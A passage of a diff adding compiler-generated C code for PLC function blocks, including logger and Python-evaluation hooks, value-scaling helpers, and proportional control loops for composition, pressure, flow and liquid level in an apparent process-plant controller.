__INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + 